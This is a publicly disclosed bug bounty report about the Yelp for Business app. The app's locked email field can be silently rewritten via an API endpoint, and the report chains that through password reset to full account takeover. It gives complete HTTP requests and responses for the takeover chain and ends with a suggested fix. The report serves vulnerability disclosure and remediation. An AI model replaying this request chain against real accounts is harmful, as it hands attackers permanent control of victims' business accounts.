HexBrain

Yelp · Report #3766455

Yelp for Business: locked Email field silently editable via API

Validstatus
mediumseverity
76upvotes
2 Jul 2026disclosed

How it was found

Description

The Account Information screen in the Yelp Biz Android app renders the Email field as read-only with a lock icon; the screen exposes no editor. The Save action calls POST https://biz-app.yelp.com/account/info/bio/v1. The endpoint accepts and applies an attacker-supplied email value with no current-password check, no current-email confirmation, and no out-of-band email confirmation before the change takes effect. The change is reflected immediately on the same REST surface and on the independent graphql-mobile-api.yelp.com GetAccountInfo query, and the Account Information screen in the app subsequently shows the attacker email — still behind the lock icon.

Direct password change at POST /account/password/v1 enforces an old_password field (400 without it). The bio endpoint provides no equivalent protection on the email field, even though email is the account recovery anchor.

Steps to Reproduce

Prerequisites: a Yelp for Business account; an x-auth-token from that account (any active app session header); an attacker-controlled mailbox.

  1. Confirm baseline on a different backend so the rest is not an echo:

    POST https://graphql-mobile-api.yelp.com/gql/mobile
    x-auth-token: <victim_token>
    x-biz-auth-token: <victim_token>
    operation-name: GetAccountInfo
    accept: multipart/mixed;deferSpec=20220824, application/graphql-response+json, application/json
    content-type: application/json; charset=utf-8
    
    {"extensions":{"clientLibrary":{"name":"apollo-kotlin","version":"4.4.3"},"documentId":"fbfe5585929a3f12b0fcf332f967dfb78e3197d5a4f27f2f69f112c4d3341db6","operationType":"query"},"variables":{}}
    

    Response (the legitimate email on file):

    {"data":{"loggedInBizUser":{"__typename":"BizUser","encid":"T3J1i32FZSDAi5427SW0cw","private":{"__typename":"PrivateBizUserInfo","email":"[email protected]","hasConfirmedEmail":false,"loginProviders":["GOOGLE"]}}}}
    
  2. Mass-assign the email:

    POST https://biz-app.yelp.com/account/info/bio/v1
    x-auth-token: <victim_token>
    x-device-id: <any>
    x-consumer-device-id: <any>
    content-type: application/json; charset=UTF-8
    
    {"first_name":"<current>","last_name":"<current>","email":"[email protected]","role":"OWNER"}
    

    Response — HTTP 200, attacker email applied, no challenge, no notification at request time:

    {"first_name":"<current>","last_name":"<current>","email":"[email protected]","role":"OWNER"}
    
  3. Re-run the GraphQL query from step 1 — private.email now reflects [email protected] on a different Yelp backend service, proving the change is persisted at the data layer rather than echoed:

    {"data":{"loggedInBizUser":{"__typename":"BizUser","encid":"T3J1i32FZSDAi5427SW0cw","private":{"__typename":"PrivateBizUserInfo","email":"[email protected]","hasConfirmedEmail":false,"loginProviders":["GOOGLE"]}}}}
    
  4. Open the Yelp Biz app's Account Information screen — the Email field renders [email protected] with the lock icon, identical to the legitimate UI state.

{F6000125}

Yelp for Business → Account Information, Email field showing the attacker-controlled address with the lock icon next to it. The UI continues to present the field as read-only even though the value has been silently rewritten via the API.

  1. (Chain to ATO) Trigger a password reset for the rewritten address:
    POST https://biz-app.yelp.com/account/forgot_password/v1
    content-type: application/x-www-form-urlencoded
    
    email=attacker%40example.com
    
    Returns HTTP 200. Within a few minutes Yelp delivers a Reset Password - Yelp email to the attacker mailbox containing https://biz.yelp.com/forgot/reset/redirect/<token>. Visiting that link allows setting a new password without supplying the old one; POST /account/login/v1 with the rewritten email plus the attacker-chosen password then yields full ownership.

{F6000118}

The real Reset Password - Yelp email (from [email protected]) arriving at the attacker-controlled inbox after POST /account/forgot_password/v1, with the Reset Password button linking to https://biz.yelp.com/forgot/reset/redirect/<token>. Demonstrates that the rewritten address is the live recovery anchor — closing the chain from token theft to permanent ATO.

Suggested Fix

Reject email on POST /account/info/bio/v1. Expose email changes only through a dedicated flow that (a) re-authenticates the user (current password or recent step-up) and (b) keeps the change in a pending-confirmation state — the new address only becomes authoritative after the user clicks a verification link sent to that new address, and a notification is sent to the previous address at the same time. Aligning the protection on email changes with the protection already in place on /account/password/v1 would close the chain.

Impact

  • Confirmed: an authenticated session can silently rewrite the account email, bypassing the read-only UI control. The Yelp Biz app then displays the rewritten value as if it were the legitimate (locked) email. The change persists immediately on biz-app.yelp.com REST and on graphql-mobile-api.yelp.com GraphQL.
  • Potential ATO (chain): the rewritten email is the account-recovery anchor. POST /account/forgot_password/v1 with the rewritten email returns 200 and Yelp dispatches a real Reset Password - Yelp email. Because /account/password/v1 enforces old_password but the reset link does not, an attacker who briefly holds a victim's session token can use this bug to escalate ephemeral token access into permanent credentialed ownership: rebind → forgot-password → receive reset link at attacker address → set new password → log in.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original